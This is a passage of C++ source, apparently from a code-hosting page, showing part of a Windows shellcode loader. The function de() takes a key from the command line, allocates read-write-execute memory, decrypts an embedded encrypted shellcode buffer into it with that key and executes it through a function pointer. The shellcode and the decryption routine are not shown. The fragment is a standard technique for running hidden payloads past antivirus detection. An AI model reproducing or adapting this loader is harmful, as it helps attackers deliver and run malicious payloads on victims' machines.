| 125 | } |
| 126 | |
| 127 | int de(int argc, char **argv) { |
| 128 | if (argc != 2) { |
| 129 | return 0; |
| 130 | } |
| 131 | string key = argv[1]; |
| 132 | |
| 133 | WindowsShellCodeInvoke invoker; |
| 134 | LPVOID shell_mem = invoker.VirtualAllocMemory(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); |
| 135 | DecryptShell(shellcode.shellcode, shellcode.shellcode_size, (uint8_t *)shell_mem, shellcode.shellcode_real_size, key); |
| 136 | |
| 137 | typedef void(*fptr)(); |
| 138 | ((fptr)shell_mem)(); |
| 139 | |
| 140 | return 0; |
| 141 | } |
| 142 | |
| 143 | int main(int argc, char **argv) { |
| 144 | if (shellcode.shellcode_size != 0) { |
no test coverage detected